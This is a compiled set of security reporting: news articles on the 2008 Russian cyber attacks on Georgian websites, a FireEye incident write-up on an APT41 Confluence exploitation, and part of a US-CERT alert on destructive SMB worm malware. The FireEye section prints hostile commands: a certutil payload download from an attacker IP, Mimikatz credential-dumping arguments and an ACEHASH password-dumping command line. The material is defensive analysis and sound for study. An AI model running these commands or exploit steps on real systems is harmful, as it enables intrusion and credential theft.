This actually looks more like grass roots hacktivist types -- people that jumped on the bandwagon, DiMino said, using Internet jargon referring to political activists that resort to online evil-doing.
Tulips Burling said the trend of such cyber maliciousness was a cause for concern.
Its like the Olympics.
We are supposed to be above politics in the Internet community.
Georgian forces attacked the Moscow-backed rebel province of South Ossetia to regain control of the region which broke away from Tbilisi in the early 1990s.
Russian troops and tanks poured into Georgia on Friday after the Georgian offensive.
INTERNATIONAL DATA GROUP 13 August 2008 By Jeremy Kirk Estonia, Poland help Georgia fight cyber attacks In an intriguing cyber alliance, two Estonian computer experts are scheduled to arrive in Georgia by evening to keep the countrys networks running amid an intense military confrontation with Russia.
And Poland has lent space on its presidents Web page for Georgia to post updates on its ongoing conflict with Russia, which launched a military campaign on Friday to eject Georgian troops from South Ossetia and Abkhazia, two renegade areas with strong ties to Russia.
22 The cooperation between the former Iron Curtain allies is aimed at blunting pro-Russian computer hackers, who have been blamed over the last few years for cyber attacks against Estonia, Lithuania and Georgia in incidents linked to political friction between those nations and Russia.
Two of the four experts that staff Estonias Computer Emergency Response Team (CERT) were waiting Tuesday morning in Yerevan, the capital of Armenia, seeking permission to drive into Georgia, said Katrin Prgme, communication manager for the Estonian Informatics Center.
The two officials are also bringing humanitarian aid, she said.
Estonia is also now hosting Georgias Ministry of Foreign Affairs Web site, which has been under sustained attack over the last few days.
Lets just say we moved it, Prgme said.
I know that there are interested parties who read media so its not good to say exactly where the hosting is.
The Web site for Georgias president, Mikheil Saakashvili, remained up on Tuesday morning.
That site was knocked offline around mid-July after a DDOS attack from a botnet, network experts said.
The botnet was based on the MachBot code, which communicates to other compromised PCs over the HTTP (Hypertext Transfer Protocol), the same protocol used for transmitting Web pages.
MachBot code has been known to be used by Russian bot herders, according to the Shadowserver Foundation, which tracks malicious Internet activity.
Shadowserver said Monday that hackers had at one point defaced the Web site for Georgias parliament.
The attackers have inserted a large image made up of several smaller side-by-side images of pictures of both the Georgian President and Adolf Hitler, the group wrote.
Georgia is now also hosting some sites in the U.S., a logical move to better defend the sites against attacks, Prgme said.
Shadowserver wrote that the presidential site appeared to have been moved to an IP (Internet protocol) address belonging to Tulip Systems, an ISP in Atlanta, Georgia.
The country is also looking to other ways to keep information flowing.
A Georgian news site was also up, but the site warned it was under permanent DDOS attack That Web site has set up a group in Googles Groups service, where subscribers can get the news stories it regularly posts.
Georgias banking sites also suffered attacks that caused them to shut down their online systems, said David Tabatadze, a security officer with the Georgia Research and Educational Networking Association and Georgias CERT.
Some of those systems are still down, he said.
Tabatadze said that the majority of Georgias Internet traffic is routed through Turkey, with some of it going through Russia.
Although some news reports indicated Georgias Internet traffic may have been shifted through Russia, Tabatadze said thats not the case.
23 We have checked the traffic route on Ripe.net...and we did not see any traffic re-routing via Russia, Tabatadze said.
It appears that large groups of hackers are working together to take down the Web sites, but the attacks have been so intense that it will take a while to analyze, Tabatadze said.
Other CERTs around the world have been helping to provide information on the attacks, Tabatadze said.
The last few days have been a nerve-racking time for Georgians, said Tabatadze, who said he heard explosions on Sunday when Russian planes bombed air-traffic control stations near Tbilisi, Georgias capital.
You cant even imagine the situation, Tabatadze said.
This is a terrible end for Georgia.
On Tuesday morning, Russia announced it would stop military operations in South Ossetia and Abkhazia, saying the safety of its peacekeepers in the region had been secured.
THE TELEGRAPH 13 August 2008 By John Swaine Russia continues cyber war on Georgia Their assault, which began before the commencement of the five-day Russian military offensive, has again crashed the official website of the central government and has been widened to include a US company which stepped in to rescue the website of Mikheil Saakashvili, the Georgian President.
Tom Burling, from Tulip Systems, which began hosting the Presidents site on its servers in Atlanta after it was brought down by the hackers, said his company had become the latest target of a flood of bogus traffic sent from Russia to crash the sites.
He said the malicious visits were outnumbering legitimate ones 5000 to 1.
Mr Burling, who has reported the attacks to the FBI, said his company was working around the clock to combat the hackers.
Our people arent getting any sleep, he said.
The Presidents website is currently accessible, as are the sites of the Ministry of Foreign Affairs and Ministry of Defence, which were also brought down in the initial wave of attacks.
At one stage, photographs comparing Mr Saaskashvili with Adolf Hitler were posted on the Foreign Ministrys site.
The website of the National Bank of Georgia has also been compromised.
24 The Russian hackers are launching waves of distributed denial-of-service (DDoS) attacks on the websites.
This means their computers, and the computers of unsuspecting people whose home systems they have hacked and enlisted for their botnet, or swarm of zombie computers, are directed to simultaneously flood a chosen site with thousands of visits in order to overload it and bring it offline.
Last April the computer systems of the Estonian Government came under attack in a co-ordinated three-week assault that was widely credited to state-sponsored Russian hackers.
The Georgian Government said that the present disruption was being caused by attacks carried out by Russia as part of the conflict between the two states, which was triggered last week over Georgias attempt to reassert authority over its northern rebel province of South Ossetia.
In a statement, the Georgian Ministry of Foreign Affairs said: A cyber warfare campaign by Russia is seriously disrupting many Georgian websites, including that of the Ministry of Foreign Affairs.
Analysts immediately laid the blame for the attacks on Georgian sites with the Russian Business Network (RBN), a gang of criminal hackers which has close links to the Russian mafia and government.
Jart Armin, a researcher who tracks RBN activity, said visitors to the Georgian sites had been re-routed through servers in Russia and Turkey, which were well known to be under the control of RBN and influenced by the Russian Government.
Greg Day, a security analyst at McAfee, said increasingly hacking will be a matter of national security.
We can expect to see cyber attacks being increasingly used as a weapon.
The benefits of using such methods are that no one is directly physically hurt or killed and it is much harder to pinpoint the source and who is involved, he told Sky News.
The hackers have also been targeting the website of Garry Kasparov, the Russian opposition figure and former chess champion.
WASHINGTON POST 27 August 2008 By Kim Hart A New Breed Of Hackers Tracks Online Acts of War Hacktivists Update Their Mission TORONTO -- Here in the Citizen Lab at the University of Toronto, a new breed of hackers is conducting digital espionage.
25 They are among a growing number of investigators who monitor how traffic is routed through countries, where Web sites are blocked and why its all happening.
Now they are turning their scrutiny to a new weapon of international warfare: cyber attacks.
Tracking wars isnt what many of the researchers, who call themselves hacktivists, set out to do.
Many began intending to help residents in countries that censor online content.
But as the Internet has evolved, so has their mission.
Ronald J. Deibert, director of the Citizen Lab, calls the organization a global civil society counterintelligence agency and refers to the lab as the NSA of operations.
Their efforts have ramped up in the past year as researchers gather evidence that Internet assaults are playing a larger role in military strategy and political struggles.
Even before Georgia and Russia entered a ground war earlier this month, Citizen Labs researchers noticed sporadic attacks aimed at several Georgian Web sites.
Such attacks are especially threatening to countries that increasingly link critical activities such as banking and transportation to the Internet.
Once the fighting began, massive raids on Georgias Internet infrastructure were deployed using techniques similar to those used by Russian criminal organizations.
Then, attacks seemed to come from individuals who found online instructions for launching their own assaults, shutting down much of Georgias communication system.
Two weeks later, researchers are still trying to trace the origins of the attacks.
These attacks in effect had the same effect that a military attack would have, said Rafal Rohozinski, who co-founded the Information Warfare Monitor, which tracks cyber attacks, with Citizen Lab in 2003.
That suddenly means that in cyberspace anyone can build an A-bomb.
The cyber attacks that disabled many Georgian and Russian Web sites earlier this month marked the first time such an assault coincided with physical fighting.
And the digital battlefield will likely become a permanent front in modern warfare, Deibert said.
Seven years ago, Deibert opened the Citizen Lab using grant money from the Ford Foundation.
Soon after, he and Rohozinski helped begin the OpenNet Initiative, a collaboration with Harvards Law School, Cambridge and Oxford universities that tracks patterns of Internet censorship in countries that use filters, such as China.
The project received an additional 3 million from the MacArthur Foundation.
Deibert and Rohozinski also launched the Information Warfare Monitor to investigate how the Internet is used by state military and political operations.
And Citizen Lab researchers have created a software tool called Psiphon that helps users bypass Internet filters.
The combined projects have about 100 researchers in more than 70 countries mapping Web traffic and testing access to thousands of sites.
26 A number of companies specialize in cyber security, and several nonprofit organizations have formed cyber-surveillance projects to keep international vigil over the Web.
Shadowserver.org, for example, is a group of 10 volunteer researchers who post their findings about cyber attacks online.
The small Toronto office of Citizen Lab, tucked in a basement of the universitys Munk Centre for International Studies, serves as the technological backbone for the operations.
World maps and newspaper clips cover the walls.
Researchers move between multiple computer screens, studying lists of codes with results from field tests in Uzbekistan, Cambodia, Iran and Venezuela, to name a few.
We rely on local experts to help us find out why a particular site is being blocked, Deibert said.
It could be a problem with the Internet service provider, a temporary connection glitch or a downed server.
But whats more effective is blasting a site into oblivion when it is strategically important.
Its becoming a real arms race.
Hes referring to denial of service attacks, in which hundreds of computers in a network, or botnets, simultaneously bombard a Web site with millions of requests, overwhelming and crashing the server.
In Georgia, such attacks were strong enough to knock key sources of news and information offline for days.
Georgian Internet service providers also limited access to Russian news media outlets, cutting off the only remaining updates about the war.
On the night of Aug. 12 -- the height of the fighting -- there was panic in Tbilisi brought about by a vacuum of information, Rohozinski said.
Shadowserver saw the first denial of service attack against Georgias presidential Web site July 20.
When the fighting began, Andre M. Di Mino, Shadowservers founder, counted at least six botnets launching attacks, but it was difficult to tell if it was a grass-roots effort or one commissioned by the government.
The organization detects between 30 and 50 denial of service attacks every day around the world, and Di Mino said they have become more sophisticated over the past two years.
It really went from almost a kiddie type of thing to where its an organized enterprise, he said.
But hes hesitant to label this months attacks as a form of cyberwar, although he expects networks to play an expanded role in political clashes.
Jose Nazario, a security researcher with Arbor Networks, said cyber attacks used to target a computers operating system.
But hes seen a tremendous rise in attacks on Web browsers, allowing attackers access to much more personal information, such as which sites a person visits frequently.
An attacker then could learn which servers to target in order to disrupt communication.
27 Its unclear who is behind the attacks, however.
In some cases, the locations of botnet controllers can be traced, but its impossible to know whether an attacker is working on the behalf of another organization or government.
Its going to take a year to figure this out, Nazario said.
The data trail often goes cold when it crosses borders because there is little legal framework for such investigations.
And many countries, along with the United Nations and other international bodies, are still weighing whether a cyber attack is an act of war.
If a state brings down the Internet intentionally, another state could very well consider that a hostile act, said Jonathan Zittrain, co-founder of Harvards Berkman Center for Internet Society, and a principal investigator for the OpenNet Initiative.
There are also strategic reasons not to disrupt networks in order to monitor the enemys conversations or to spread misinformation.
Thats an amazing intelligence opportunity, he said.
Using the Internet to control information can be more important than disrupting the networks when it comes to military strategy, Rohozinski said.
In Georgia, for example, the lack of access to both Georgian and Russian sources of information kept citizens in the dark while the fighting continued.
Sometimes the objective is not to knock out the infrastructure but to undermine the will of the people youre fighting against, he said.
Its about the nuts and bolts, but its also about how perceptions can be shaped through whats available and whats not.
NEWSWEEK 1 September 2008 By Trevis Wentworth Youve Got Malice Russian nationalists waged a cyber war against Georgia.
Fighting back is virtually impossible.
On July 20, weeks before Russia stunned Georgia with a rapid invasion, the cyber attack was already under way.
While Moscow baited Georgia with troop movements on the borders of the breakaway provinces of Abkhazia and South Ossetia, the zombie computers were already on the attack.
Russian viruses had seized hundreds of thousands of computers around the world, directing them to barrage Georgian Web sites, including the pages of the president, the parliament, the foreign ministry, news agencies and banks, which shut down their servers at the first sign of attack to pre-empt identity theft.
At one point the parliaments Web site was replaced by images comparing Georgian president Mikheil Saakashvili to Adolf Hitler.
This was not 28 the first Russian cyber assaultthat came against Estonia, in April of 2007but it was the first time an Internet attack paralleled one on land.
The labyrinthine ways of the Web and the complicated interfaces between the Russian governments clandestine services and organized crime make it impossible, at this point, to say with certainty who was responsible, or how far up the chain of command it went.
The Russian military certainly had the means to attack Georgias Internet infrastructure, says Jonathan Zittrain, cofounder of Harvards Berkman Center for Internet and Society.
Moreover, the attacks were too successful to have materialized independent of one another.
Bill Woodcock, the research director at Packet Clearing House, a California-based nonprofit group that tracks Internet security trends, says the attacks bear the markings of a trained and centrally coordinated cadre of professionals.
But who?
Jart Armin, who has tracked Russian cybercrime, points to the possibility that a role was played by the notorious Russian Business Network, a cybermafia that specializes in identity theft, child pornography, extortion and other dark and lucrative Internet crimes.
The RBNs political agenda is vague or nonexistent, but it often contracts out its services, and Armin says there is increasing evidence that it is connected to, or at least tolerated by, the Kremlin.
Indeed the timing is such that its hard to discount some sort of Kremlin coordination, even if its impossible to prove, and Woodcock argues that such cyber assaults have become a tool of Russian political leadership.
As the attacks political intentions became more specific, he notes, the operations have grown more complex.
In addition to targeting Georgian government and media Web sites, Russian hackers brought down the Russian newspaper Skandaly.ru, apparently for expressing some pro-Georgian sentiment.
This was the first time that they ever attacked an internal and an external target as part of the same attack, he says.
Fighting back is tough.
When Russian hackers made a name for themselves last year by bringing down the Web site of the Estonian parliament along with the sites of banks, ministries and newspapers, Estonian Foreign Minister Urmas Paet immediately accused the Kremlin of backing the attacks.
But he was unable to produce evidence supporting his claims.
Putin eventually named a suspect, or scapegoat, within his government.
As Russian hackers waged a similar assault on Georgian sites over the past few weeks, Estoniaone of Europes most wired countriesoffered its better-defended servers to host many Georgian government Web sites.
Lithuania and Poland have stepped up as well, prompting some excited bloggers to suggest that this is a digital Sarajevo, akin to the events of August 1914, the start of the first Internet world war.
Certainly thats exaggerated, but the mutual defense going on in cyberspace shows that these nations take the Russian threat to their online infrastructure seriously.
Still, the nature of the Internet is such that it is almost impossible to respond quickly enough.
The government doesnt maintain its own botnetslarge networks of zombified computers standing ready to attackbut can rent one 29 from a crime network, like the Russian Business Network.
Then, through state- controlled media, the government can inspire waves of nationalists to amplify the destructive force.
Everybody with a laptop has the responsibility to attack the enemyand you find out who the enemy is by looking at what the government is saying, Woodcock says.
While no one can say who wrote the malware that was used to cause Georgian servers to crash, it certainly proliferated on Russian Web sites in a user-friendly form.
Gary Warner, a cybercrime expert at the University of Alabama at Birmingham, says he found copies of the attack script posted in the reader comments section at the bottom of virtually every story in the Russian media that covered the Georgian conflict, complete with instructions on how the script could be used to attack a specific list of Web sites.
The efficiency is enough to make Russias tanks and planes and ships, however deadly, appear downright anachronistic.
AFP 4 September 2008 Experts call for united global action against cyber attacks The world has to unite against the growing menace of cyber terrorism, IT experts said Thursday, evoking a recent cyber war against Georgia as the latest example of the threat.
The world has finally woken up and understood that cyber security needs a global approach and is a very serious matter, Estonian politician Mart Laar told a cyber security forum in the Estonian capital Tallinn.
Estonia had to deal with attacks on government websites blamed on Russian hackers in the spring of 2007.
Official Georgian websites suffered a similar cyber offensive last month in the wake of Russias military offensive on Georgian soil.
Estonia was among several states that stepped in to host hacked Georgian websites.
The cyber war against Georgia in August demonstrated how it has become part of the real war on the ground and we must act, Laar added.
According to Laar, cyber attacks against the Georgian websites came a day ahead of Russias August 8 military action in the country, a move roundly condemned in the West.
Robert Kramer, vice-president of public policy for CompTIA, the Computing Technology Industry Association uniting the worlds top IT firms, underscored that global cyber security starts at home with the average Internet user.
The weakest link in cyber space is the human being behind the computer with not enough awareness and skills on IT security matters, Kramer told the forum.
30 Heli Tiirmaa-Klaar, an IT expert with Estonias defence ministry, repeated the warning.
People everywhere need to understand that your unprotected computer at home can be used as a tool in cyber-war, she said.
Tim Boerner, an IT security expert with the US Secret Service, said experts noted increased attacks on Georgian web sites weeks before the first bombs fell on Georgia.
Over one million computers worldwide were used during the cyber attacks against Estonia in spring 2007, he added.
An ex-Soviet republic that broke free from Moscow in 1991, the tiny Baltic Sea state of Estonia joined the European Union and NATO in 2004.
It has become a leader in global IT development and has focused heavily on cyber security since suffering the wave of cyber attacks in early 2007.
WASHINGTON POST (blog) 16 October 2008 By Brian Krebs Russian Hacker Forums Fueled Georgia Cyber Attacks An exhaustive inquiry into Augusts cyber attacks on the former Soviet bloc nation of Georgia finds no smoking gun in the hands of the Russian government.
But experts say evidence suggests that Russian officials did little to discourage the online assault, which was coordinated through a Russian online forum that appeared to have been prepped with target lists and details about Georgian Web site vulnerabilities well before the two countries engaged in a brief but deadly ground, sea and air war.
The findings come from an open source investigation launched byProject Grey Goose, a volunteer effort by more than 100 security experts from tech giants like Microsoft and Oracle, as well as former members of the Defense Intelligence Agency, Lexis-Nexis, theDepartment of Homeland Security and defense contractor SAIC, among others.
The group began its inquiry shortly after the cyber war disabled a large number of Georgia government Web sites.
Starting with the Russian hacker forum Xaker.ru (hacker.ru), investigators found a posting encouraging would- be cyber militia members to enlist at a private, password-protected online forum called StopGeorgia.ru.
Grey Goose principal investigator Jeff Carr said the administrators of the hacker forum were keenly aware that American cyber sleuths were poking around: Within hours after discovering the link to the StopGeorgia site, Xaker.ru administrators deleted the link and banned all access from U.S.-based Internet addresses.
31 At StopGeorgia.ru, project members unearthed a top-down hierarchy of expert hackers who doled out target lists of Georgian government Web sites to relative novices, complete with instructions on how to exploit vulnerabilities in the sites in order to render them inaccessible.
Following a July defacement of the Georgian presidents Web site that was blamed on Russian hackers, the Georgian government blocked Russian Internet users from visiting government Web sites.
But Carr said StopGeorgia administrators also equipped recruits with directions on evading those digital roadblocks, by routing their attacks through Internet addresses in other Eastern European nations.
The level of advance preparation and reconnaissance strongly suggests that Russian hackers were primed for the assault by officials within the Russian government and or military, Carr said.
The fact that the StopGeorgia.ru site was up and running within hours of the ground assault -- with full target lists already vetted and with a large member population -- was evidence that this effort did not just spring up out of nowhere, said Carr, speaking at a forum in Tysons Corner, Va., sponsored by Palantir Technologies, an In-Q-Tel funded company in Palo Alto, Calif., whose data analysis software helped Grey Goose investigators track the origins and foot soldiers involved in the cyber attack.
If they were planning ahead of the invasion, how did they know the invasion was going to occur?
The only way they could have known that is if they were told.
Initially, security experts assumed that the sites were felled via distributed denial of service (DDoS) attacks, a well-known method of assault that uses hundreds or thousands of compromised personal computers to flood a targeted site with so much junk traffic that it can no longer accommodate legitimate visitors.
But investigators soon learned that attackers were instructed in the ways of a far more simple but equally effective attack strategy capable of throttling a targeted Web site using a single computer.
Security researcher and Grey Goose investigator Billy Rios said attackers disabled the sites using a built-in feature of MySQL, a software suite widely used by Web sites to manage back-end databases.
The benchmark feature in MySQL allows site administrators to test the efficiency of database queries, but last year hackers posted online instructions for exploiting the benchmark feature to inject millions of junk queries into a targeted database, such that the Web servers behind the site become so tied up with bogus instructions that they effectively cease to function.
Not only can a small number of users bring down the back end databases, it indicates that there was some form of planning, reconnaissance, and some technical sophistication by some of the members, Rios said.
It also indicates that all the information from the attacked systems was most likely already compromised and pilfered before the injection point was posted.
While Grey Goose members could find no direct link between Russian government officials and the StopGeorgia.ru forum administrators, they claim it is unreasonable to conclude that no such connection exists.
32 The historical record shows clear support by members of the Russian government and implied consent in its refusal to intervene or stop the hacker attacks, the report states, naming at least three Russian politicians and military officials who have previously endorsed coordinated cyber attacks against other nations as a show of nationalistic pride.
Oleg Gordievsky, a former colonel in the Russian KGB who defected to the British intelligence wing MI6 in 1985, spoke in 1998 at an international conference on crime and discussed how Russian hackers convicted of cyber crime are sometimes offered an alternative to prison -- working for the FSB (the federal security service of the Russian Federation and a successor to the KGB).
According to a cyber warfare analysis by researchers at Dartmouth College, Moscow has a track record of offensive hacking into Chechen Web sites.
The researchers provide this account of incidents in 2002, when Russian hackers used cyber warfare in to supplement the ongoing military conflict with Chechnya.
In 2002, Chechen rebels claimed that two of their Web sites, kavkaz.org and chechenpress.com, crashed under hack attacks by the Russian FSB security service.
The website crashes were reportedly timed to occur concurrently or shortly after Russian Special Forces troops stormed the Moscow Theater in which the rebels had taken hostages.
On October 26 ... our Web Site kavkaz.org was attacked by a group of hackers, said a spokesman for the Chechen rebel site run by Movladi Udugov.
Following the attack on the site, which is based in the United States, Udugov said that he was amazed Russias special services can operate so freely on U.S. territory.
The attacks on one site, chechenpress.com, fell under the category of brute-force denial of service (DoS) attacks, while on the other site, kavkaz.org, the attacks appeared much more sophisticated.
According to Chechen sources, the Web site was hijacked by hackers from the FSB.
The FSB hackers reportedly accomplished this by changing the domain registration of the site and then eliminating the data for the site from the hosting server.
Upon learning of these attacks, the rebels moved the information on the sites to kavkazcenter.com.
However, that site was attacked just a week later, also apparently the work of FSB hackers.
In July, Russian hackers were blamed for a similar assault on Lithuanian government Web sites.
In Security Fixs account of that attack, I posted a copy of a congratulatory letter sent to nationalist Russian hackers by Nikolai Kuryanovich, a former member of the Russian Duma.
The missive is dated March 2006, and addresses the hacker group Slavic Union after the group had just completed a series of successful attacks against Israeli Web sites.
In the very near future many conflicts will not take place on the open field of battle, but rather in spaces on the Internet, fought with the aid of information soldiers, that is hackers, Kuryanovich wrote.
This means that a small force of 33 hackers is stronger than the multi-thousand force of the current armed forces.
The Grey Goose report concludes that the journeyman-apprentice relationship observed in the StopGeorgia forum will continue to be the training model used by nationalistic Russian hackers, and that those hackers are actively engaged in finding more efficient ways to disable networks.
In the meantime, Carr said, the Russian government will continue to deny any involvement in any nation-level cyber attacks.
The Russian government has adopted this hands-off and satisfying position of deniability while enjoying the rewards achieved by the Russian hacker community, Carr said.
GAME OVER: Detecting and Stopping an APT41 Operation fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html In August 2019, FireEye released the Double Dragon report on our newest graduated threat group, APT41.
A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services.
APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity.
In multiple situations, we also identified APT41 utilizing recently- disclosed vulnerabilities, often weaponzing and exploiting within a matter of days.
Our knowledge of this groups targets and activities are rooted in our Incident Response and Managed Defense services, where we encounter actors like APT41 on a regular basis.
At each encounter, FireEye works to reverse malware, collect intelligence and hone our detection capabilities.
This ultimately feeds back into our Managed Defense and Incident Response teams detecting and stopping threat actors earlier in their campaigns.
In this blog post, were going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41.
Our goal is to display not only how dynamic this group can be, but also how the various teams within FireEye worked to thwart attacks within hours of detection  protecting our clients networks and limiting the threat actors ability to gain a foothold and/or prevent data exposure.
GET TO DA CHOPPA In April 2019, FireEyes Managed Defense team identified suspicious activity on a publicly- accessible web server at a U.S.-based research university.
This activity, a snippet of which is provided in Figure 1, indicated that the attackers were exploiting CVE-2019-3396, a vulnerability in Atlassian Confluence Server that allowed for path traversal and remote code execution.
1/9 https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html https://www.fireeye.com/solutions/managed-defense.html https://nvd.nist.gov/vuln/detail/CVE-2019-3396 Figure 1: Snippet of PCAP showing attacker attempting CVE-2019-3396 vulnerability This vulnerability relies on the following actions by the attacker: Customizing the _template field to utilize a template that allowed for command execution.
Inserting a cmd field that provided the command to be executed.
Through custom JSON POST requests, the attackers were able to run commands and force the vulnerable system to download an additional file.
Figure 2 provides a list of the JSON data sent by the attacker.
2/9 Figure 2: Snippet of HTTP POST requests exploiting CVE-2019-3396 As shown in Figure 2, the attacker utilized a template located at hxxps[:]//github[.
]com/Yt1g3r/CVE-2019-3396_EXP/blob/master/cmd.vm.
This publicly- available template provided a vehicle for the attacker to issue arbitrary commands against the vulnerable system.
Figure 3 provides the code of the file cmd.vm.
3/9 Figure 3: Code of cmd.vm, used by the attackers to execute code on a vulnerable Confluence system The HTTP POST requests in Figure 2, which originated from the IP address 67.229.97[.
]229, performed system reconnaissance and utilized Windows certutil.exe to download a file located at hxxp[:]//67.229.97[.
]229/pass_sqzr.jsp and save it as test.jsp (MD5: 84d6e4ba1f4268e50810dacc7bbc3935).
The file test.jsp was ultimately identified to be a variant of a China Chopper webshell.
A Passive Aggressive Operation Shortly after placing test.jsp on the vulnerable system, the attackers downloaded two additional files onto the system: 64.dat (MD5: 51e06382a88eb09639e1bc3565b444a6) Ins64.exe (MD5: e42555b218248d1a2ba92c1532ef6786) Both files were hosted at the same IP address utilized by the attacker, 67[.]229[.]97[.
]229.
The file Ins64.exe was used to deploy the HIGHNOON backdoor on the system.
HIGHNOON is a backdoor that consists of multiple components, including a loader, dynamic-link library (DLL), and a rootkit.
When loaded, the DLL may deploy one of two embedded drivers to conceal network traffic and communicate with its command and control server to download and launch memory-resident DLL plugins.
This particular variant of HIGHNOON is tracked as HIGHNOON.PASSIVE by FireEye.
(
An exploration of passive backdoors and more analysis of the HIGHNOON malware family can be found in our full APT41 report).
Within the next 35 minutes, the attackers utilized both the test.jsp web shell and the HIGHNOON backdoor to issue commands to the system.
As China Chopper relies on HTTP requests, attacker traffic to and from this web shell was easily observed via network 4/9 https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html https://content.fireeye.com/apt-41/rpt-apt41 monitoring.
The attacker utilized China Chopper to perform the following: Movement of 64.dat and Ins64.exe to C:\Program Files\Atlassian\Confluence Performing a directory listing of C:\Program Files\Atlassian\Confluence Performing a directory listing of C:\Users Additionally, FireEyes FLARE team reverse engineered the custom protocol utilized by the HIGHNOON backdoor, allowing us to decode the attackers traffic.
Figure 4 provides a list of the various commands issued by the attacker utilizing HIGHNOON.
5/9 Figure 4: Decoded HIGHNOON commands issued by the attacker Playing Their ACEHASH Card 6/9 As shown in Figure 4, the attacker utilized the HIGHNOON backdoor to execute a PowerShell command that downloaded a script from PowerSploit, a well-known PowerShell Post-Exploitation Framework.
At the time of this blog post, the script was no longer available for downloading.
The commands provided to the script  privilege::debug sekurlsa::logonpasswords exit exit  indicate that the unrecovered script was likely a copy of Invoke-Mimikatz, reflectively loading Mimikatz 2.0 in-memory.
Per the observed HIGHNOON output, this command failed.
After performing some additional reconnaissance, the attacker utilized HIGHNOON to download two additional files into the C:\Program Files\Atlassian\Confluence directory: c64.exe (MD5: 846cdb921841ac671c86350d494abf9c) F64.data (MD5: a919b4454679ef60b39c82bd686ed141) These two files are the dropper and encrypted/compressed payload components, respectively, of a malware family known as ACEHASH.
ACEHASH is a credential theft and password dumping utility that combines the functionality of multiple tools such as Mimikatz, hashdump, and Windows Credential Editor (WCE).
Upon placing c64.exe and F64.data on the system, the attacker ran the command c64.exe f64.data 9839D7F1A0 -m This specific command provided a password of 9839D7F1A0 to decrypt the contents of F64.data, and a switch of -m, indicating the attacker wanted to replicate the functionality of Mimikatz.
With the correct password provided, c64.exe loaded the decrypted and decompressed shellcode into memory and harvested credentials.
Ultimately, the attacker was able to exploit a vulnerability, execute code, and download custom malware on the vulnerable Confluence system.
While Mimikatz failed, via ACEHASH they were able to harvest a single credential from the system.
However, as Managed Defense detected this activity rapidly via network signatures, this operation was neutralized before the attackers progressed any further.
Key Takeaways From This Incident APT41 utilized multiple malware families to maintain access into this environment impactful remediation requires full scoping of an incident.
For effective Managed Detection  Response services, having coverage of both Endpoint and Network is critical for detecting and responding to targeted attacks.
Attackers may weaponize vulnerabilities quickly after their release, especially if they are present within a targeted environment.
Patching of critical vulnerabilities ASAP is crucial to deter active attackers.
7/9 https://github.com/PowerShellMafia/PowerSploit https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 Detecting the Techniques FireEye detects this activity across our platform, including detection for certutil usage, HIGHNOON, and China Chopper.
Detection Signature Name China Chopper FE_Webshell_JSP_CHOPPER_1 FE_Webshell_Java_CHOPPER_1 FE_Webshell_MSIL_CHOPPER_1 HIGHNOON.PASSIVE FE_APT_Backdoor_Raw64_HIGHNOON_2 FE_APT_Backdoor_Win64_HIGHNOON_2 Certutil Downloader CERTUTIL.EXE DOWNLOADER (UTILITY) CERTUTIL.EXE DOWNLOADER A (UTILITY) ACEHASH FE_Trojan_AceHash Indicators Type Indicator MD5 Hash (if applicable) File test.jsp 84d6e4ba1f4268e50810dacc7bbc3935 File 64.dat 51e06382a88eb09639e1bc3565b444a6 File Ins64.exe e42555b218248d1a2ba92c1532ef6786 File c64.exe 846cdb921841ac671c86350d494abf9c 8/9 File F64.data a919b4454679ef60b39c82bd686ed141 IP Address 67.229.97[.
]229 N/A Looking for more?
Join us for a webcast on August 29, 2019 where we detail more of APT41s activities.
You can also find a direct link to the public APT41 report here.
Acknowledgements Special thanks to Dan Perez, Andrew Thompson, Tyler Dean, Raymond Leong, and Willi Ballenthin for identification and reversing of the HIGHNOON.PASSIVE malware.
9/9 https://www.brighttalk.com/webcast/7451/366611/double-dragon-apt41-a-dual-espionage-and-cyber-crime-operation https://content.fireeye.com/apt-41/rpt-apt41/ GAME OVER: Detecting and Stopping an APT41 Operation GET TO DA CHOPPA A Passive Aggressive Operation Playing Their ACEHASH Card Key Takeaways From This Incident Detecting the Techniques Indicators Acknowledgements
Alert (TA14-353A) Targeted Destructive Malware Original release date: December 19, 2014 Systems Affected Microsoft Windows Overview US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation activities recently targeting a major entertainment company.
This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, Destructive Hard Drive Tool, and Destructive Target Cleaning Tool.
SMB Worm Tool: This worm uses a brute force authentication attack to propagate via Windows SMB shares.
It connects home every five minutes to send log data back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445.
The tool also accepts new scan tasking when it connects to C2.
There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread attempts to guess passwords for SMB connections.
If the password is correctly guessed, a file share is established and file is copied and run on the newly-infected host.
Listening Implant: During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase National Football League.
Additionally, this implant listens for connections on TCP port 195 (for sensvc.exe and msensvc.exe) and TCP port 444 (for netcfg.dll).
Each message sent to and from this implant is preceded with its length, then XOR encoded with the byte 0x1F.
Upon initial connection, the victim sends the string, HTTP/1.1 GET /dns?
\x00.
The controller then responds with the string 200 www.yahoo.com\x00 (for sensvc.exe and msensvc.exe) or with the string RESPONSE 200 OK (for netcfg.dll).
The controller sends the byte  (0x21) to end the network connection.
This special message is not preceded with a length or XOR encoded.
Lightweight Backdoor: This is a backdoor listener that is designed as a service DLL.
It includes functionality such as file transfer, system survey, process manipulation, file time matching and proxy capability.
The listener can also perform arbitrary code execution and execute commands on the command line.
This tool includes functionality to open ports in a victim hosts firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks.
There are no callback domains associated with this malware since connections are inbound only on a specified port number.
Proxy Tool: Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443.
The implant may have an associated configuration file which can contain a configurable port.
